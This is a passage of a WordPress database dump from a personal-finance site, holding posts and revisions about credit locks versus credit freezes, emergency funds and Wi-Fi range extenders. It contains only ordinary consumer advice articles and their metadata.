freeze, your decision should align with your current circumstances and future financial goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.the-next-tech.com/security/credit-lock-and-credit-freeze-2/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is The Difference Between Credit Lock And Credit freeze?','','publish','closed','closed','','what-is-the-difference-between-credit-lock-and-credit-freeze','','','2024-02-16 23:18:29','2024-02-16 23:18:29','',0,'https://smartinsurance.tips/?p=3821',0,'post','',0),(3822,1,'2024-02-16 23:17:25','2024-02-16 23:17:25','','Untitled-2','','inherit','closed','closed','','untitled-2-2','','','2024-02-16 23:17:25','2024-02-16 23:17:25','',3821,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-2.png',0,'attachment','image/png',0),(3823,1,'2024-02-16 23:18:29','2024-02-16 23:18:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3822,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-2-1024x1024.png\" alt=\"\" class=\"wp-image-3822\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In the dynamic landscape of personal finance and cybersecurity, understanding the nuances between various protective measures is crucial. One such area that often perplexes individuals is the choice between a credit lock and a credit freeze. While both serve to safeguard your financial identity, they operate differently and cater to distinct circumstances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this complete guide, we will explore the differences between a credit lock and a credit freeze, exploring their purposes, benefits, and when it is most well advised to establish each.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Difference Between Credit Lock and Credit Freeze</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before immersing into the specifics of credit locks and credit freezes. It is required to understand the fundamental disparities between the two. While both are mechanisms designed to prevent unauthorized access to your credit information, their mechanisms and implications differ significantly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Aspect</strong></td><td><strong>Credit Lock</strong></td><td><strong>Credit Freeze</strong></td></tr><tr><td>Control</td><td>Allows you to easily lock and unlock your credit report at your discretion.</td><td>Imposes a more rigid restriction on access, requiring explicit authorization to lift the freeze.</td></tr><tr><td>Immediate Accessy</td><td>Provides immediate access when you need to apply for new credit.</td><td>Involves a more time-consuming process to freeze and unfreeze, potentially causing delays in credit applications.</td></tr><tr><td>Flexibility</td><td>Offers flexibility for individuals who frequently apply for credit.</td><td>Less flexible due to the more cumbersome process, making it suitable for those who prioritize security over convenience.</td></tr><tr><td>Level of Security</td><td>Provides a moderate level of security against unauthorized access.</td><td>Offers a higher level of security, making it a more robust defense against identity theft.</td></tr><tr><td>Cost</td><td>May come with a fee for the service, depending on the credit bureau or service provider.</td><td>Generally involves fees for both placing and lifting the freeze. Fees may vary by state.</td></tr><tr><td>Recommendation</td><td>Suitable for those anticipating the need for frequent access to new lines of credit.</td><td>Recommended for individuals prioritizing maximum security and not planning to apply for new credit in the near future.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>A credit lock is a motivated measure that permits you to control access to your credit report in actual time. It gives an appropriate on/off switch, granting you to lock and unlock your credit at your discretion. This instantaneous control can be managed through online portals or mobile apps provided by credit bureaus or third-party services. The adaptability of a credit lock makes it a popular choice for those who expect constant access to their credit information, Including during loan applications or credit checks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, a credit freeze is an extra strong but less adjustable security measure. When you choose for a credit freeze, you need to “lock” your credit report, and make it unavailable to potential creditors without your specific authorization. Unlike a credit lock, a credit freeze is not as easily toggled on and off. It provides a higher level of security but may involve a more intricate process to lift the freeze temporarily when necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When Should You Lock or Freeze Your Credit?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Understanding when to deploy a credit lock or credit freeze is pivotal in ensuring your credit information remains secure without impeding your financial activities unnecessarily.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is a Credit Lock? When Should You Use It?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A credit lock is an ideal choice when you require instant and constant control over access to your credit information. A credit lock offers seamless and flexibility to grant short-term access to your credit report mindful when applying for loans or credit cards. This proves for the most part favorable in situations where timing is critical, and you want to facilitate a smooth and swift approval process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Additionally, if you’re concerned about ongoing identity theft threats or anticipate potential unauthorized access to your credit, a credit lock serves as a proactive deterrent. By having the capability to quickly lock and unlock your credit, and you maintain an increased level of control over who can view your credit information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is a Credit Freeze? When Should You Use It?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A credit freeze is a more exacting measure, suitable for individuals demanding an added layer of protection against unauthorized access to their credit. Consider opting for a credit freeze if you are not actively applying for credit and want to fortify your defenses against potential identity theft or deceptive activities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Instances, where a credit freeze is advisable, include</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>After Identity Theft Incidents-</strong>&nbsp;If you have fallen casualty to identity theft, a credit freeze can prevent the thief from opening new accounts using your stolen information.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Concerns About Security Breaches-</strong>&nbsp;Following broad data violations or if you suspect that your personal information may have been compromised, and a credit freeze acts as a preemptive safeguard.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Long-Term Security Measures-</strong>&nbsp;If you are not planning any major financial transactions in the near future, opting for a credit freeze can provide a more resolute, and lengthy defense against unauthorized access.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the progressing landscape of personal finance and security, and understanding the distinctions between credit locks and credit freezes is pivotal. Both tools play an essential role in defending your credit information, offering varying levels of control and security. Assessing your individual needs and the context of your financial activities will guide you in determining whether a credit lock’s flexibility or a credit freeze’s robust defense is more suitable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you navigate the strong geography of credit protection, keep in mind that staying informed and proactive is the key to maintaining control over your financial well-being. Whether you opt for the agility of a credit lock or the steadfast security of a credit freeze, your decision should align with your current circumstances and future financial goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.the-next-tech.com/security/credit-lock-and-credit-freeze-2/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is The Difference Between Credit Lock And Credit freeze?','','inherit','closed','closed','','3821-revision-v1','','','2024-02-16 23:18:29','2024-02-16 23:18:29','',3821,'https://smartinsurance.tips/?p=3823',0,'revision','',0),(3824,1,'2024-02-16 23:22:04','2024-02-16 23:22:04','<!-- wp:paragraph -->\n<p>Follow these steps to building your safety net of cash.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3825,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-21-1024x1024.png\" alt=\"\" class=\"wp-image-3825\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Life is unpredictable, and unforeseen expenses can pop up at any time — whether that’s surprise visits to the doctor, your car breaking down or an appliance that needs replacing. And if you’re struggling with unemployment, underemployment or overwhelmed with a slew of conflicting financial priorities, it’s easy to slip into debt in order to pay for everyday life, not to mention the bills you’re not expecting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Building an emergency fund can give you the peace of mind that you’ll be able to manage when an unexpected cost pops up. It’s not always easy to save up a significant sum when you’ve got bills to pay, but even a few hundred dollars can help. And once you start saving, you might find it easier to build momentum and grow this account.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ahead, CNBC Select put together a step-by-step guide on how to create an emergency fund so you can have money to access during worst-case scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>What is an emergency fund?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like the name suggests, an emergency fund is a lump sum of cash that you can access in the event of an emergency. There are no strict rules on what counts as an emergency, but as a general rule of thumb, it should only be used for essential expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you can use money stashed in an emergency fund to replace a broken fridge, but you shouldn’t tap into this account to buy a fancy coffeemaker. The key to a successful emergency fund is to only use it when you are in dire need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While an emergency fund can help with unexpected bills, it can also help you make ends meet if you’re laid off. Unemployment benefits will help you afford some of your daily expenses, but generally it’s not enough to cover your entire cost of living. If you have an emergency fund, you can tap into it to cover the cost of everyday expenses, like utility bills, groceries and insurance payments, while you’re unemployed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You should keep your emergency fund in a relatively accessible account, such as a high-yield savings account, that allows you to access money within a few days. Both the Lending Club High-Yield Savings and the UFB Secure Savings allow your emergency savings to earn an above-average APY, so you’ll have the added benefit of earning some interest on your savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"fontSize\":\"x-large\"} -->\n<p class=\"has-x-large-font-size\"><strong>How to create an emergency fund</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1. Set a savings goal</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The first step to building an emergency fund is to calculate how much money you can reasonably afford to save every month. To make the process easier, review your existing budget or create a budget. This helps you understand how much money you have leftover to save, after deducting fixed expenses like food, insurance and electric bills.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While experts typically recommend you have an emergency fund with about three to six months worth of your living expenses, the amount you should save is dependent on your situation. In times of financial hardship, you may not be able to save that much money and then even $25 a week is a start.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The key is to save the maximum amount you can, without going overboard making big cuts to your budget. It’s okay to cut back on streaming subscriptions and food delivery so you can save more, but make sure you don’t lose momentum because you’ve sacrificed too many of your favorite things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>2. Automate savings</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you figure out how much money you want to have in an emergency fund, the next step is to start saving. The simplest way to save money is to automate it. Set up automatic, recurring transfers from your paycheck that go directly into your emergency fund.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a great way to remove the temptation of spending the money before you get a chance to save it. Whereas if you had your entire paycheck deposited into a checking account, you’d have to transfer it to your emergency fund on a regular basis. This delays the time it takes you to save and may cause you to spend the money or forget to transfer it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While your savings should be automatic, you can also transfer additional money any time that you have money leftover after your other expenses are covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>3. Monitor your progress</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Automating your savings is a great way to passively add money to your emergency fund, but you shouldn’t set it and forget it. It’s important to monitor your progress and make sure you’re on track to meet your savings goal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also a good idea to make adjustments to your savings if your financial situation changes. For instance, if you get a raise or new job with a higher salary, consider increasing your contributions. Whereas if you’re laid off, you may need to temporarily pause or decrease the amount you save.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As with many things in life, saving for an emergency fund is ever-changing and you should check in regularly to reassess the situation and make adjustments as necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.cnbc.com/select/what-is-an-emergency-fund/\">click here.</a></p>\n<!-- /wp:paragraph -->','Emergency funds can offset surprise medical bills, unemployment and more — here’s how to get started','','publish','closed','closed','','emergency-funds-can-offset-surprise-medical-bills-unemployment-and-more-heres-how-to-get-started','','','2024-02-16 23:22:04','2024-02-16 23:22:04','',0,'https://smartinsurance.tips/?p=3824',0,'post','',0),(3825,1,'2024-02-16 23:20:09','2024-02-16 23:20:09','','Untitled-21','','inherit','closed','closed','','untitled-21-3','','','2024-02-16 23:20:09','2024-02-16 23:20:09','',3824,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-21.png',0,'attachment','image/png',0),(3826,1,'2024-02-16 23:22:04','2024-02-16 23:22:04','<!-- wp:paragraph -->\n<p>Follow these steps to building your safety net of cash.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3825,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-21-1024x1024.png\" alt=\"\" class=\"wp-image-3825\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Life is unpredictable, and unforeseen expenses can pop up at any time — whether that’s surprise visits to the doctor, your car breaking down or an appliance that needs replacing. And if you’re struggling with unemployment, underemployment or overwhelmed with a slew of conflicting financial priorities, it’s easy to slip into debt in order to pay for everyday life, not to mention the bills you’re not expecting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Building an emergency fund can give you the peace of mind that you’ll be able to manage when an unexpected cost pops up. It’s not always easy to save up a significant sum when you’ve got bills to pay, but even a few hundred dollars can help. And once you start saving, you might find it easier to build momentum and grow this account.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ahead, CNBC Select put together a step-by-step guide on how to create an emergency fund so you can have money to access during worst-case scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>What is an emergency fund?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like the name suggests, an emergency fund is a lump sum of cash that you can access in the event of an emergency. There are no strict rules on what counts as an emergency, but as a general rule of thumb, it should only be used for essential expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you can use money stashed in an emergency fund to replace a broken fridge, but you shouldn’t tap into this account to buy a fancy coffeemaker. The key to a successful emergency fund is to only use it when you are in dire need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While an emergency fund can help with unexpected bills, it can also help you make ends meet if you’re laid off. Unemployment benefits will help you afford some of your daily expenses, but generally it’s not enough to cover your entire cost of living. If you have an emergency fund, you can tap into it to cover the cost of everyday expenses, like utility bills, groceries and insurance payments, while you’re unemployed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You should keep your emergency fund in a relatively accessible account, such as a high-yield savings account, that allows you to access money within a few days. Both the Lending Club High-Yield Savings and the UFB Secure Savings allow your emergency savings to earn an above-average APY, so you’ll have the added benefit of earning some interest on your savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"fontSize\":\"x-large\"} -->\n<p class=\"has-x-large-font-size\"><strong>How to create an emergency fund</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1. Set a savings goal</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The first step to building an emergency fund is to calculate how much money you can reasonably afford to save every month. To make the process easier, review your existing budget or create a budget. This helps you understand how much money you have leftover to save, after deducting fixed expenses like food, insurance and electric bills.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While experts typically recommend you have an emergency fund with about three to six months worth of your living expenses, the amount you should save is dependent on your situation. In times of financial hardship, you may not be able to save that much money and then even $25 a week is a start.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The key is to save the maximum amount you can, without going overboard making big cuts to your budget. It’s okay to cut back on streaming subscriptions and food delivery so you can save more, but make sure you don’t lose momentum because you’ve sacrificed too many of your favorite things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>2. Automate savings</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you figure out how much money you want to have in an emergency fund, the next step is to start saving. The simplest way to save money is to automate it. Set up automatic, recurring transfers from your paycheck that go directly into your emergency fund.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a great way to remove the temptation of spending the money before you get a chance to save it. Whereas if you had your entire paycheck deposited into a checking account, you’d have to transfer it to your emergency fund on a regular basis. This delays the time it takes you to save and may cause you to spend the money or forget to transfer it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While your savings should be automatic, you can also transfer additional money any time that you have money leftover after your other expenses are covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>3. Monitor your progress</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Automating your savings is a great way to passively add money to your emergency fund, but you shouldn’t set it and forget it. It’s important to monitor your progress and make sure you’re on track to meet your savings goal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also a good idea to make adjustments to your savings if your financial situation changes. For instance, if you get a raise or new job with a higher salary, consider increasing your contributions. Whereas if you’re laid off, you may need to temporarily pause or decrease the amount you save.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As with many things in life, saving for an emergency fund is ever-changing and you should check in regularly to reassess the situation and make adjustments as necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.cnbc.com/select/what-is-an-emergency-fund/\">click here.</a></p>\n<!-- /wp:paragraph -->','Emergency funds can offset surprise medical bills, unemployment and more — here’s how to get started','','inherit','closed','closed','','3824-revision-v1','','','2024-02-16 23:22:04','2024-02-16 23:22:04','',3824,'https://smartinsurance.tips/?p=3826',0,'revision','',0),(3828,1,'2024-02-27 15:46:36','2024-02-27 15:46:36','<!-- wp:paragraph -->\n<p>The top-rated models can cure Wi-Fi dead spots, but sometimes it makes more sense to invest in a mesh router. Here\'s what you need to know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3829,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-9-1024x1024.png\" alt=\"\" class=\"wp-image-3829\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>To anyone with a slow, spotty internet connection, Wi-Fi range extenders sound like a bargain. You buy one for as little as $20, plug it into an outlet, and your problem is solved. Or so the marketing goes. The truth, however, is more nuanced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As testing by Consumer Reports shows, Wi-Fi range extenders can be useful in certain situations, but don’t think of them as a slam-dunk fix for all of your Wi-Fi woes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In some cases, a mesh router system may be a better solution. Those have a hub and one or two satellite units that then work together to spread Wi-Fi evenly throughout your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem is that a good mesh router setup starts at around $150. You’ll pay even more if you want cutting-edge features, like support for Wi-Fi 6E—let alone Wi-Fi 7.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We began testing Wi-Fi extenders at the height of the pandemic in 2020 to help consumers optimize their home networks for remote work. The devices have since become so popular that we now test them year-round.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One model in our ratings still costs roughly $20. Others have stretched beyond $100 and even $200. That’s a mighty big sweep, spotlighting the need for a reliable performance evaluation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what have we learned in our testing?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While Wi-Fi extenders can increase the range of your wireless network, their effectiveness is limited by a host of factors, including the speed of the internet connection coming into your home, the distance from your router, the areas in your home in need of Wi-Fi coverage, and the Wi-Fi demands of your family.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a closer look at our findings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Does a Wi-Fi Extender Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While it’s tempting to think of a Wi-Fi extender as something that can beam fast, reliable Wi-Fi throughout your home, it’s really more of a spot-fix for a single, specific dead zone in your layout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To get the best results, you have to plug the extender into a power outlet midway between your router and the troublesome area. The extender then picks up the Wi-Fi signal from your router and pushes it deeper into your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you’re likely to notice a significant drop in throughput speeds in the “extended” network. That’s in part because an extender relies on the same frequency band as the router itself.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“In the radio frequency world, they’re called repeaters, but in Wi-Fi they’re called extenders,” says Henry Parra, who leads CR’s testing of smartphones and wireless routers. “They repeat the signal on the same frequency to extend coverage.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because the signal is now going through an intermediate step, throughput—or what you and I might simply call “speed”—is now cut in half.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, let’s say you’re standing right next to your Wi-Fi router (where the signal is strongest) and get 50 megabits per second, which is fast enough to stream one, <em>maybe</em> two 4K Netflix shows at the same time. If you were to set up a Wi-Fi extender, then you’d be looking at about 25 megabits per second with the extended network. And that’s in an ideal world, where the Wi-Fi signal hasn’t been degraded by obstacles such as thick walls or large appliances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By contrast, mesh routers use two different frequency bands, which limits the speed loss to roughly 10 percent. They also allow you to move the satellite units around your home, steering a Wi-Fi signal around obstacles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What CR\'s Testing Shows</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are currently 13 Wi-Fi extenders in our ratings, all of which you simply plug into an outlet and set up using either a mobile app or a web-based wizard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We use a professional wireless performance software suite to test each model’s capabilities. This software measures the throughput of the extender directly from a nearby computer. That gives us more precise data than if we were to rely on a web-based service such as&nbsp;Speedtest.net&nbsp;or&nbsp;Fast.com. That’s because data is transmitted directly between the extender and a computer and not over the internet, which can introduce latency. We do three “runs” and then average the measurements to come up with our final throughput score.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In our labs, we place the extender being tested inside a room down the hall and around the corner from the laptop used in the test. This is done to simulate a typical home environment, where you might have your router in one room and the extender in another. We then vary the distance between the laptop and the extender (from 8 to 20 to 35 to 55 feet) to measure the extender’s effectiveness at various distances.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In practice, there’s a balance you want to strike when setting up an extender. The farther you place it from the router, the more you risk losing signal speed. But place it too close to the router and you may not be able to push the signal to the desired location. In the instructions included with the extenders, manufacturers recommend placing the unit about halfway between the router and the area you hope to reach.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So to answer the question of whether or not you should get a Wi-Fi extender, here’s how to think about it. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your goal is simply to get Wi-Fi in that one dead zone in your home, a spot where you like to browse the web and check email, our testing shows that you should be prepared to spend around $50 for an extender. You can pay more for bells and whistles like built-in Ethernet and USB ports, but the performance is roughly the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the moment, extenders that cost less than $30 fare less well in our tests.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, the TP-Link RE220, which retails for about $20 (and which we’ve seen on sale for as low as $17 on Amazon), and the Netgear EX6120, $36, sure do seem appealing. But our tests show their performance to be quite poor, earning low marks in terms of speed (even at short distances) and versatility. So you have to either limit your expectations or shop at a retailer with a generous return policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re hoping to do more demanding tasks, like stream 4K video or play online games that require low latency, you ought to consider a mesh network. Those range in price from $100 to $1,000 but offer a more robust solution, using two or three units that work together to deliver fast Wi-Fi throughout your whole home—not just to one room. And, really, given that prices for mesh routers have fallen quite a bit since the technology was first introduced, you can now find capable models for well under $150 from well-known brands like Google and TP-Link.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics-computers/wifi-extenders/should-you-buy-a-wifi-range-extender-a1199590172/?itm_source=parsely-api\">click h</a><a href=\"https://www.thebraggingmommy.com/how-you-can-be-money-smart-with-your-family-budget/\">ere.</a></p>\n<!-- /wp:paragraph -->','Should You Buy a Wi-Fi Extender?','','publish','closed','closed','','should-you-buy-a-wi-fi-extender','','','2024-02-27 15:46:36','2024-02-27 15:46:36','',0,'https://smartinsurance.tips/?p=3828',0,'post','',0),(3829,1,'2024-02-27 15:41:57','2024-02-27 15:41:57','','Untitled-9','','inherit','closed','closed','','untitled-9','','','2024-02-27 15:41:57','2024-02-27 15:41:57','',3828,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-9.png',0,'attachment','image/png',0),(3830,1,'2024-02-27 15:46:36','2024-02-27 15:46:36','<!-- wp:paragraph -->\n<p>The top-rated models can cure Wi-Fi dead spots, but sometimes it makes more sense to invest in a mesh router. Here\'s what you need to know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3829,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-9-1024x1024.png\" alt=\"\" class=\"wp-image-3829\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>To anyone with a slow, spotty internet connection, Wi-Fi range extenders sound like a bargain. You buy one for as little as $20, plug it into an outlet, and your problem is solved. Or so the marketing goes. The truth, however, is more nuanced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As testing by Consumer Reports shows, Wi-Fi range extenders can be useful in certain situations, but don’t think of them as a slam-dunk fix for all of your Wi-Fi woes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In some cases, a mesh router system may be a better solution. Those have a hub and one or two satellite units that then work together to spread Wi-Fi evenly throughout your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem is that a good mesh router setup starts at around $150. You’ll pay even more if you want cutting-edge features, like support for Wi-Fi 6E—let alone Wi-Fi 7.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We began testing Wi-Fi extenders at the height of the pandemic in 2020 to help consumers optimize their home networks for remote work. The devices have since become so popular that we now test them year-round.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One model in our ratings still costs roughly $20. Others have stretched beyond $100 and even $200. That’s a mighty big sweep, spotlighting the need for a reliable performance evaluation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what have we learned in our testing?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While Wi-Fi extenders can increase the range of your wireless network, their effectiveness is limited by a host of factors, including the speed of the internet connection coming into your 